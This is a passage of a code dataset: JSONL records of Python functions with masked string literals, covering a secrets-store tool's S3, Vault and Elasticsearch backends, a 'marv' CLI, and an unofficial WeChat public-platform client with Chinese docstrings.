{"signature": "def _key_path(self, key_name):", "body": "return '<STR_LIT>' + self._stash_name + '<STR_LIT:/>' + key_name<EOL>", "docstring": "Return a valid vault path\n\n        Note that we don't use os.path.join as the path is read by vault using\n        slashes even on Windows.", "id": "f575:c4:m7"}
{"signature": "def init(self):", "body": "<EOL>self.es.indices.create(index=self.params['<STR_LIT:index>'], ignore=<NUM_LIT>)<EOL>", "docstring": "Create an Elasticsearch index if necessary", "id": "f575:c5:m1"}
{"signature": "def __init__(self,<EOL>db_path,<EOL>bucket_location=None or os.environ.get(<EOL>'<STR_LIT>'),<EOL>aws_access_key_id=None or os.environ.get(<EOL>'<STR_LIT>'),<EOL>aws_secret_access_key=None or os.environ.get(<EOL>'<STR_LIT>'),<EOL>aws_session_token=None or os.environ.get('<STR_LIT>'),<EOL>profile_name=None or os.environ.get('<STR_LIT>'),<EOL>region_name=None or os.environ.get('<STR_LIT>')):", "body": "if not S3_EXISTS:<EOL><INDENT>raise ImportError('<STR_LIT>')<EOL><DEDENT>self.db_path = db_path<EOL>if not bucket_location:<EOL><INDENT>raise GhostError('<STR_LIT>')<EOL><DEDENT>self.bucket_configuration = {'<STR_LIT>': bucket_location}<EOL>session = boto3.Session(<EOL>aws_access_key_id=aws_access_key_id,<EOL>aws_secret_access_key=aws_secret_access_key,<EOL>aws_session_token=aws_session_token,<EOL>profile_name=profile_name,<EOL>region_name=region_name)<EOL>self.client = session.client('<STR_LIT>')<EOL>", "docstring": "Initializes the storage client\n        :param db_path: The bucket name\n\n        Keyword arguments:\n        bucket_configuration", "id": "f575:c6:m0"}
{"signature": "def init(self):", "body": "try:<EOL><INDENT>self.client.create_bucket(<EOL>Bucket=self.db_path,<EOL>CreateBucketConfiguration=self.bucket_configuration)<EOL><DEDENT>except botocore.exceptions.ClientError as e:<EOL><INDENT>if '<STR_LIT>' not in str(<EOL>e.response['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>raise e<EOL><DEDENT><DEDENT>", "docstring": "Create a bucket.", "id": "f575:c6:m1"}
{"signature": "def put(self, key):", "body": "self.client.put_object(<EOL>Body=json.dumps(key),<EOL>Bucket=self.db_path,<EOL>Key=key['<STR_LIT:name>'])<EOL>return key['<STR_LIT:name>']<EOL>", "docstring": "Insert the key\n        :return: Key name", "id": "f575:c6:m2"}
{"signature": "def list(self):", "body": "response = self.client.list_objects_v2(Bucket=self.db_path)<EOL>if u'<STR_LIT>' in response:<EOL><INDENT>keys = [key[u'<STR_LIT>'] for key in response[u'<STR_LIT>']]<EOL>keys_list = []<EOL>for key_name in keys:<EOL><INDENT>key = self.get(key_name)<EOL>keys_list.append(key)<EOL><DEDENT>return keys_list<EOL><DEDENT>return []<EOL>", "docstring": "Lists the keys\n        :return: Returns a list of all keys (not just key names, but rather\n        the keys themselves).", "id": "f575:c6:m3"}
{"signature": "def get(self, key_name):", "body": "try:<EOL><INDENT>obj = self.client.get_object(<EOL>Bucket=self.db_path,<EOL>Key=key_name)['<STR_LIT>'].read().decode(\"<STR_LIT:utf-8>\")<EOL>return json.loads(obj)<EOL><DEDENT>except botocore.exceptions.ClientError as e:<EOL><INDENT>if '<STR_LIT>' in str(e.response['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>return {}<EOL><DEDENT>raise e<EOL><DEDENT>", "docstring": "Gets the key.\n        :return: The key itself in a dictionary", "id": "f575:c6:m4"}
{"signature": "def delete(self, key_name):", "body": "self.client.delete_object(<EOL>Bucket=self.db_path,<EOL>Key=key_name)<EOL>return self.get(key_name) == {}<EOL>", "docstring": "Delete the key.\n        :return: True if it was deleted, False otherwise", "id": "f575:c6:m5"}
{"signature": "@property<EOL><INDENT>def is_initialized(self):<DEDENT>", "body": "try:<EOL><INDENT>return self.client.head_bucket(<EOL>Bucket=self.db_path)['<STR_LIT>']['<STR_LIT>']== <NUM_LIT:200><EOL><DEDENT>except botocore.exceptions.ClientError as e:<EOL><INDENT>if '<STR_LIT>' in str(e.response['<STR_LIT>']['<STR_LIT>']):<EOL><INDENT>return False<EOL><DEDENT>raise e<EOL><DEDENT>", "docstring": "Check if bucket exists.\n        :return: True if initialized, False otherwise", "id": "f575:c6:m6"}
{"signature": "def list(self, path='<STR_LIT>'):", "body": "return {<EOL>'<STR_LIT:data>': {<EOL>'<STR_LIT>': self.store.keys()<EOL>}<EOL>} if self.store.keys() else None<EOL>", "docstring": "{\n    'lease_id': '',\n    'warnings': None,\n    'wrap_info': None,\n    'auth': None,\n    'lease_duration': 0,\n    'request_id': 'a0d5c74c-fe92-90ba-f73a-95b08cd4ec61',\n    'data': {\n        'keys': ['aws', 'aws2', 'awss', 'gcp', 'stored_passphrase']\n    },\n    'renewable': False\n}", "id": "f576:c5:m1"}
{"signature": "def read(self, path):", "body": "return self.store.get(os.path.basename(path))<EOL>", "docstring": "{\n    'lease_id': '',\n    'warnings': None,\n    'wrap_info': None,\n    'auth': None,\n    'lease_duration': 2592000,\n    'request_id': 'accdb21c-5b70-06e7-c38a-4a589e9dd5d3',\n    'data': {\n        'uid': '0c5ce284-1300-4892-9e00-15e27e3db0d2',\n        'created_at': '2016-10-06 08:29:53',\n        'modified_at': '2016-10-06 08:29:53',\n        'value': 'encrypted_value',\n        'name': 'aws',\n        'metadata': None,\n        'description': None\n    },\n    'renewable': False\n}", "id": "f576:c5:m2"}
{"signature": "def create(self, index, ignore):", "body": "self.index_exists = True<EOL>", "docstring": "{\n    u'status': 400,\n    u'error': {\n        u'index': u'ghost',\n        u'root_cause': [\n            {\n                u'index': u'ghost',\n                u'reason': u'already exists',\n                u'type': u'index_already_exists_exception'\n            }\n        ],\n        u'type': u'index_already_exists_exception',\n        u'reason': u'already exists'\n    }\n}", "id": "f576:c7:m2"}
{"signature": "def search(self, body, filter_path, **kwargs):", "body": "if '<STR_LIT>' in body['<STR_LIT>']:<EOL><INDENT>items = list(self.store.items())<EOL>for name, key in items:<EOL><INDENT>return self.store[name]<EOL><DEDENT>else:<EOL><INDENT>return {'<STR_LIT>': {'<STR_LIT>': []}}<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return self.store.get(body['<STR_LIT>']['<STR_LIT>']['<STR_LIT:name>'])<EOL><DEDENT>", "docstring": "{\n    u'hits': {\n        u'hits': [\n            {\n                u'_id': u'AVewADAWUnUKEMeMQ4QB',\n                u'_source': {\n                    u'description': None,\n                    u'created_at':\n                    u'2016-10-10 22:09:44',\n                    u'modified_at':\n                    u'2016-10-10 22:09:44',\n                    u'value': u'the_value',\n                    u'name': u'aws',\n                    u'uid': u'7a1caa7d-14d4-4045-842c-66adf22190b5',\n                    u'metadata': None\n                }\n            },\n        ]\n    }\n}", "id": "f576:c8:m1"}
{"signature": "@click.group()<EOL>@click.option('<STR_LIT>',<EOL>type=click.Path(dir_okay=False, exists=True, resolve_path=True),<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', default='<STR_LIT:info>', show_default=True,<EOL>type=click.Choice(LOGLEVEL.keys()),<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', multiple=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', count=True,<EOL>help='<STR_LIT>')<EOL>@click.pass_context<EOL>def marv(ctx, config, loglevel, logfilter, verbosity):", "body": "if config is None:<EOL><INDENT>cwd = os.path.abspath(os.path.curdir)<EOL>while cwd != os.path.sep:<EOL><INDENT>config = os.path.join(cwd, '<STR_LIT>')<EOL>if os.path.exists(config):<EOL><INDENT>break<EOL><DEDENT>cwd = os.path.dirname(cwd)<EOL><DEDENT>else:<EOL><INDENT>config = '<STR_LIT>'<EOL>if not os.path.exists(config):<EOL><INDENT>config = None<EOL><DEDENT><DEDENT><DEDENT>ctx.obj = config<EOL>setup_logging(loglevel, verbosity, logfilter)<EOL>", "docstring": "Manage a Marv site", "id": "f579:m3"}
{"signature": "def cli():", "body": "for ep in iter_entry_points(group='<STR_LIT>'):<EOL><INDENT>ep.load()<EOL><DEDENT>marv(auto_envvar_prefix='<STR_LIT>')<EOL>", "docstring": "setuptools entry_point", "id": "f579:m4"}
{"signature": "def __init__(self, username, password, token=None, cookies=None, appid=None, plugin_token=None, ifencodepwd=False,<EOL>login=True, checkssl=False):", "body": "if not checkssl:<EOL><INDENT>disable_urllib3_warning()  <EOL><DEDENT>self.__username = username<EOL>if ifencodepwd:<EOL><INDENT>self.__password = password<EOL><DEDENT>else:<EOL><INDENT>self.__password = hashlib.md5(password).hexdigest()<EOL><DEDENT>self.__cookies = cookies<EOL>self.__lastmsgid = <NUM_LIT:0><EOL>self.__token = token<EOL>self.__ticket = None<EOL>self.__ticket_id = None<EOL>self.__fakeid = None<EOL>self.__appid = appid<EOL>self.__plugin_token = plugin_token<EOL>if not self.__token or not self.__cookies:<EOL><INDENT>self.__token = '<STR_LIT>'<EOL>self.__cookies = '<STR_LIT>'<EOL>self.__appid = '<STR_LIT>'<EOL>self.__plugin_token = '<STR_LIT>'<EOL>if login:<EOL><INDENT>self.login()<EOL><DEDENT><DEDENT>", "docstring": ":param username: \u4f60\u7684\u5fae\u4fe1\u516c\u4f17\u5e73\u53f0\u8d26\u6237\u7528\u6237\u540d\n:param password: \u4f60\u7684\u5fae\u4fe1\u516c\u4f17\u5e73\u53f0\u8d26\u6237\u5bc6\u7801\n:param token: \u76f4\u63a5\u5bfc\u5165\u7684 ``token`` \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u5b9e\u4f8b\u5316\u7684\u65f6\u5019\u81ea\u52a8\u83b7\u53d6\n:param cookies: \u76f4\u63a5\u5bfc\u5165\u7684 ``cookies`` \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u5b9e\u4f8b\u5316\u7684\u65f6\u5019\u81ea\u52a8\u83b7\u53d6\n:param appid: \u76f4\u63a5\u5bfc\u5165\u7684 ``appid`` \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u8c03\u7528 stat_ \u5f00\u5934\u7684\u65b9\u6cd5(\u7edf\u8ba1\u5206\u6790\u7c7b)\u65f6\u81ea\u52a8\u83b7\u53d6\n:param plugin_token: \u76f4\u63a5\u5bfc\u5165\u7684 ``plugin_token`` \u503c, \u8be5\u503c\u9700\u8981\u5728\u4e0a\u4e00\u6b21\u8be5\u7c7b\u5b9e\u4f8b\u5316\u4e4b\u540e\u624b\u52a8\u8fdb\u884c\u7f13\u5b58\u5e76\u5728\u6b64\u4f20\u5165, \u5982\u679c\u4e0d\u4f20\u5165, \u5c06\u4f1a\u5728\u8c03\u7528 stat_ \u5f00\u5934\u7684\u65b9\u6cd5(\u7edf\u8ba1\u5206\u6790\u7c7b)\u65f6\u81ea\u52a8\u83b7\u53d6\n:param ifencodepwd: \u5bc6\u7801\u662f\u5426\u5df2\u7ecf\u7ecf\u8fc7\u7f16\u7801, \u5982\u679c\u5bc6\u7801\u5df2\u7ecf\u7ecf\u8fc7\u52a0\u5bc6, \u6b64\u5904\u4e3a ``True`` , \u5982\u679c\u4f20\u5165\u7684\u5bc6\u7801\u4e3a\u660e\u6587, \u6b64\u5904\u4e3a ``False``\n:param login: \u662f\u5426\u5728\u521d\u59cb\u5316\u8fc7\u7a0b\u4e2d\u5c1d\u8bd5\u767b\u5f55 (\u63a8\u8350\u6b64\u5904\u8bbe\u7f6e\u4e3a ``False``, \u7136\u540e\u624b\u52a8\u6267\u884c\u767b\u5f55\u4ee5\u65b9\u4fbf\u8fdb\u884c\u8bc6\u522b\u9a8c\u8bc1\u7801\u7b49\u64cd\u4f5c, \u6b64\u5904\u9ed8\u8ba4\u503c\u4e3a ``True`` \u4e3a\u517c\u5bb9\u5386\u53f2\u7248\u672c\n:param checkssl: \u662f\u5426\u68c0\u67e5 SSL, \u9ed8\u8ba4\u4e3a False, \u53ef\u907f\u514d urllib3 \u7684 InsecurePlatformWarning \u8b66\u544a", "id": "f584:c0:m0"}
{"signature": "def login(self, verify_code='<STR_LIT>'):", "body": "url = '<STR_LIT>'<EOL>payload = {<EOL>'<STR_LIT:username>': self.__username,<EOL>'<STR_LIT>': self.__password,<EOL>'<STR_LIT>': verify_code,<EOL>'<STR_LIT:f>': '<STR_LIT>',<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.post(url, data=payload, headers=headers)<EOL>s = re.search(r'<STR_LIT>', r.text)<EOL>if not s:<EOL><INDENT>try:<EOL><INDENT>error_code = json.loads(r.text)['<STR_LIT>']['<STR_LIT>']<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise LoginError(r.text)<EOL><DEDENT>if error_code in [-<NUM_LIT:8>, -<NUM_LIT>]:<EOL><INDENT>raise LoginVerifyCodeError(r.text)<EOL><DEDENT>elif re.search(r'<STR_LIT>', r.text):<EOL><INDENT>raise LoginError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>raise LoginError(r.text)<EOL><DEDENT><DEDENT>self.__token = int(s.group(<NUM_LIT:1>))<EOL>self.__cookies = '<STR_LIT>'<EOL>for cookie in r.cookies:<EOL><INDENT>self.__cookies += cookie.name + '<STR_LIT:=>' + cookie.value + '<STR_LIT:;>'<EOL><DEDENT>", "docstring": "\u767b\u5f55\u5fae\u4fe1\u516c\u4f17\u5e73\u53f0\n\u6ce8\u610f\u5728\u5b9e\u4f8b\u5316 ``WechatExt`` \u7684\u65f6\u5019\uff0c\u5982\u679c\u6ca1\u6709\u4f20\u5165 ``token`` \u53ca ``cookies`` \uff0c\u5c06\u4f1a\u81ea\u52a8\u8c03\u7528\u8be5\u65b9\u6cd5\uff0c\u65e0\u9700\u624b\u52a8\u8c03\u7528\n\u5f53\u4e14\u4ec5\u5f53\u6355\u83b7\u5230 ``NeedLoginError`` \u5f02\u5e38\u65f6\u624d\u9700\u8981\u8c03\u7528\u6b64\u65b9\u6cd5\u8fdb\u884c\u767b\u5f55\u91cd\u8bd5\n:param verify_code: \u9a8c\u8bc1\u7801, \u4e0d\u4f20\u5165\u5219\u4e3a\u65e0\u9a8c\u8bc1\u7801\n:raises LoginVerifyCodeError: \u9700\u8981\u9a8c\u8bc1\u7801\u6216\u9a8c\u8bc1\u7801\u51fa\u9519\uff0c\u8be5\u5f02\u5e38\u4e3a ``LoginError`` \u7684\u5b50\u7c7b\n:raises LoginError: \u767b\u5f55\u51fa\u9519\u5f02\u5e38\uff0c\u5f02\u5e38\u5185\u5bb9\u4e3a\u5fae\u4fe1\u670d\u52a1\u5668\u54cd\u5e94\u7684\u5185\u5bb9\uff0c\u53ef\u4f5c\u4e3a\u65e5\u5fd7\u8bb0\u5f55\u4e0b\u6765", "id": "f584:c0:m1"}
{"signature": "def get_verify_code(self, file_path):", "body": "url = '<STR_LIT>'<EOL>payload = {<EOL>'<STR_LIT:username>': self.__username,<EOL>'<STR_LIT:r>': int(random.random() * <NUM_LIT>),<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>r = requests.get(url, data=payload, headers=headers, stream=True)<EOL>self.__cookies = '<STR_LIT>'<EOL>for cookie in r.cookies:<EOL><INDENT>self.__cookies += cookie.name + '<STR_LIT:=>' + cookie.value + '<STR_LIT:;>'<EOL><DEDENT>with open(file_path, '<STR_LIT:wb>') as fd:<EOL><INDENT>for chunk in r.iter_content(<NUM_LIT>):<EOL><INDENT>fd.write(chunk)<EOL><DEDENT><DEDENT>", "docstring": "\u83b7\u53d6\u767b\u5f55\u9a8c\u8bc1\u7801\u5e76\u5b58\u50a8\n:param file_path: \u5c06\u9a8c\u8bc1\u7801\u56fe\u7247\u4fdd\u5b58\u7684\u6587\u4ef6\u8def\u5f84", "id": "f584:c0:m2"}
{"signature": "def get_token_cookies(self):", "body": "return {<EOL>'<STR_LIT>': self.__token,<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d token \u53ca cookies, \u4f9b\u624b\u52a8\u7f13\u5b58\u4f7f\u7528\n\n\u8fd4\u56de dict \u793a\u4f8b::\n\n    {\n        'cookies': 'bizuin=3086177907;data_bizuin=3086177907;data_ticket=AgWTXTpLL+FV+bnc9yLbb3V8;slave_sid=TERlMEJ1bWFCbTlmVnRLX0lLdUpRV0pyN2k1eVkzbWhiY0NfTHVjNFRZQk1DRDRfal82UzZKWTczR3I5TFpUYjRXUDBtN1h1cmJMRTkzS3hianBHOGpHaFM0eXJiNGp6cDFWUGpqbFNyMFlyQ05GWGpseVg2T2s2Sk5DRWpnRlE=;slave_user=gh_1b2959761a7d;',\n        'token': 373179898\n    }\n\n:return: \u4e00\u4e2a dict \u5bf9\u8c61, key \u4e3a ``token`` \u548c ``cookies``", "id": "f584:c0:m3"}
{"signature": "def get_plugin_token_appid(self):", "body": "self._init_plugin_token_appid()<EOL>return {<EOL>'<STR_LIT>': self.__plugin_token,<EOL>'<STR_LIT>': self.__appid,<EOL>}<EOL>", "docstring": "\u83b7\u53d6\u5f53\u524d plugin_token \u53ca appid, \u4f9b\u624b\u52a8\u7f13\u5b58\u4f7f\u7528\n\n\u8fd4\u56de dict \u793a\u4f8b::\n\n    {\n        'plugin_token': 'll1D85fGDCTr4AAxC_RrFIsfaM1eajMksOjZN_eXodroIeT77QkrMfckyYdG0qj8CnvWGUPp7-mpBOs07dbuG-iwULOcyjoEvlTsghm1K34C0oj3AI8egAxGqixxhRs8',\n        'appid': 'wxd0c09648a48b3798'\n    }\n\n:return: \u4e00\u4e2a dict \u5bf9\u8c61, key \u4e3a ``plugin_token`` \u548c ``appid``", "id": "f584:c0:m4"}
{"signature": "def send_message(self, fakeid, content):", "body": "url = '<STR_LIT>'<EOL>payload = {<EOL>'<STR_LIT>': fakeid,<EOL>'<STR_LIT:type>': <NUM_LIT:1>,<EOL>'<STR_LIT>': self.__token,<EOL>'<STR_LIT:content>': content,<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>fakeid=fakeid,<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.post(url, data=payload, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>try:<EOL><INDENT>if message['<STR_LIT>']['<STR_LIT>'] == -<NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if message['<STR_LIT>']['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>", "docstring": "\u4e3b\u52a8\u53d1\u9001\u6587\u672c\u6d88\u606f\n:param fakeid: \u7528\u6237\u7684 UID (\u5373 fakeid )\n:param content: \u53d1\u9001\u7684\u5185\u5bb9\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u5177\u4f53\u5185\u5bb9\u6709 ``fake id not exist``", "id": "f584:c0:m5"}
{"signature": "def get_user_list(self, page=<NUM_LIT:0>, pagesize=<NUM_LIT:10>, groupid=<NUM_LIT:0>):", "body": "url = '<STR_LIT>'.format(<EOL>pagesize=pagesize,<EOL>page=page,<EOL>groupid=groupid,<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>pagesize=pagesize,<EOL>page=page,<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)['<STR_LIT>']<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u7528\u6237\u5217\u8868\n\n\u8fd4\u56deJSON\u793a\u4f8b ::\n\n    {\n        \"contacts\": [\n            {\n                \"id\": 2431798261,\n                \"nick_name\": \"Doraemonext\",\n                \"remark_name\": \"\",\n                \"group_id\": 0\n            },\n            {\n                \"id\": 896229760,\n                \"nick_name\": \"\u5fae\u4fe1\u6635\u79f0\",\n                \"remark_name\": \"\",\n                \"group_id\": 0\n            }\n        ]\n    }\n\n:param page: \u9875\u7801 (\u4ece 0 \u5f00\u59cb)\n:param pagesize: \u6bcf\u9875\u5927\u5c0f\n:param groupid: \u5206\u7ec4 ID\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m6"}
{"signature": "def stat_article_detail_list(self, page=<NUM_LIT:1>, start_date=str(date.today()+timedelta(days=-<NUM_LIT:30>)), end_date=str(date.today())):", "body": "self._init_plugin_token_appid()<EOL>url = '<STR_LIT>'.format(<EOL>page=page,<EOL>appid=self.__appid,<EOL>token=self.__plugin_token,<EOL>rnd=int(time.time()),<EOL>start_date=start_date,<EOL>end_date=end_date,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>page=page,<EOL>appid=self.__appid,<EOL>token=self.__plugin_token,<EOL>rnd=int(time.time()),<EOL>start_date=start_date,<EOL>end_date=end_date,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>if not re.search(r'<STR_LIT>', self.__cookies):<EOL><INDENT>for cookie in r.cookies:<EOL><INDENT>self.__cookies += cookie.name + '<STR_LIT:=>' + cookie.value + '<STR_LIT:;>'<EOL><DEDENT><DEDENT>try:<EOL><INDENT>data = json.loads(r.text)<EOL>if data.get('<STR_LIT>'):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>message = json.dumps(data, ensure_ascii=False)<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u56fe\u6587\u5206\u6790\u6570\u636e\n\n\u8fd4\u56deJSON\u793a\u4f8b ::\n\n    {\n        \"hasMore\": true,  // \u8bf4\u660e\u662f\u5426\u53ef\u4ee5\u589e\u52a0 page \u9875\u7801\u6765\u83b7\u53d6\u6570\u636e\n        \"data\": [\n            {\n                \"index\": [\n                    \"20,816\",  // \u9001\u8fbe\u4eba\u6570\n                    \"1,944\",  // \u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570\n                    \"2,554\",  // \u56fe\u6587\u9875\u9605\u8bfb\u6b21\u6570\n                    \"9.34%\",  // (\u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570 / \u9001\u8fbe\u4eba\u6570)\n                    \"0\",  // \u539f\u6587\u9875\u9605\u8bfb\u4eba\u6570\n                    \"0\",  // \u539f\u6587\u9875\u9605\u8bfb\u6b21\u6570\n                    \"0%\",  // \uff08\u539f\u6587\u9875\u9605\u8bfb\u4eba\u6570 / \u56fe\u6587\u9875\u9605\u8bfb\u4eba\u6570)\n                    \"47\",  // \u5206\u4eab\u8f6c\u53d1\u4eba\u6570\n                    \"61\",  // \u5206\u4eab\u8f6c\u53d1\u6b21\u6570\n                    \"1\"  // \u5fae\u4fe1\u6536\u85cf\u4eba\u6570\n                ],\n                \"time\": \"2015-01-21\",\n                \"table_data\": \"{\\\"fields\\\":{\\\"TargetUser\\\":{\\\"thText\\\":\\\"\\\\u9001\\\\u8fbe\\\\u4eba\\\\u6570\\\",\\\"number\\\":false,\\\"colAlign\\\":\\\"center\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"IntPageReadUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"IntPageReadCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"PageConversion\\\":{\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":\\\"2\\\"},\\\"OriPageReadUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"OriPageReadCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"Conversion\\\":{\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":\\\"2\\\"},\\\"ShareUser\\\":{\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"ShareCount\\\":{\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0},\\\"AddToFavUser\\\":{\\\"thText\\\":\\\"\\\\u5fae\\\\u4fe1\\\\u6536\\\\u85cf\\\\u4eba\\\\u6570\\\",\\\"number\\\":true,\\\"colAlign\\\":\\\"right\\\",\\\"needOrder\\\":false,\\\"precision\\\":0}},\\\"data\\\":[{\\\"MsgId\\\":\\\"205104027_1\\\",\\\"Title\\\":\\\"\\\\u56de\\\\u5bb6\\\\u5927\\\\u4f5c\\\\u6218 | \\\\u5feb\\\\u6765\\\\u5e26\\\\u6211\\\\u56de\\\\u5bb6\\\",\\\"RefDate\\\":\\\"20150121\\\",\\\"TargetUser\\\":\\\"20,816\\\",\\\"IntPageReadUser\\\":\\\"1,944\\\",\\\"IntPageReadCount\\\":\\\"2,554\\\",\\\"OriPageReadUser\\\":\\\"0\\\",\\\"OriPageReadCount\\\":\\\"0\\\",\\\"ShareUser\\\":\\\"47\\\",\\\"ShareCount\\\":\\\"61\\\",\\\"AddToFavUser\\\":\\\"1\\\",\\\"Conversion\\\":\\\"0%\\\",\\\"PageConversion\\\":\\\"9.34%\\\"}],\\\"fixedRow\\\":false,\\\"cssSetting\\\":{\\\"\\\":\\\"\\\"},\\\"complexHeader\\\":[[{\\\"field\\\":\\\"TargetUser\\\",\\\"thText\\\":\\\"\\\\u9001\\\\u8fbe\\\\u4eba\\\\u6570\\\",\\\"rowSpan\\\":2,\\\"colSpan\\\":1},{\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u9875\\\\u9605\\\\u8bfb\\\",\\\"colSpan\\\":3},{\\\"thText\\\":\\\"\\\\u539f\\\\u6587\\\\u9875\\\\u9605\\\\u8bfb\\\",\\\"colSpan\\\":3},{\\\"thText\\\":\\\"\\\\u5206\\\\u4eab\\\\u8f6c\\\\u53d1\\\",\\\"colSpan\\\":2},{\\\"field\\\":\\\"AddToFavUser\\\",\\\"thText\\\":\\\"\\\\u5fae\\\\u4fe1\\\\u6536\\\\u85cf\\\\u4eba\\\\u6570\\\",\\\"rowSpan\\\":2,\\\"enable\\\":true}],[{\\\"field\\\":\\\"IntPageReadUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"IntPageReadCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"},{\\\"field\\\":\\\"PageConversion\\\",\\\"thText\\\":\\\"\\\\u56fe\\\\u6587\\\\u8f6c\\\\u5316\\\\u7387\\\"},{\\\"field\\\":\\\"OriPageReadUser\\\",\\\"thText\\\":\\\"\\\\u4eba\\\\u6570\\\"},{\\\"field\\\":\\\"OriPageReadCount\\\",\\\"thText\\\":\\\"\\\\u6b21\\\\u6570\\\"},{\\\"field\\\":\\\"Conversion\\\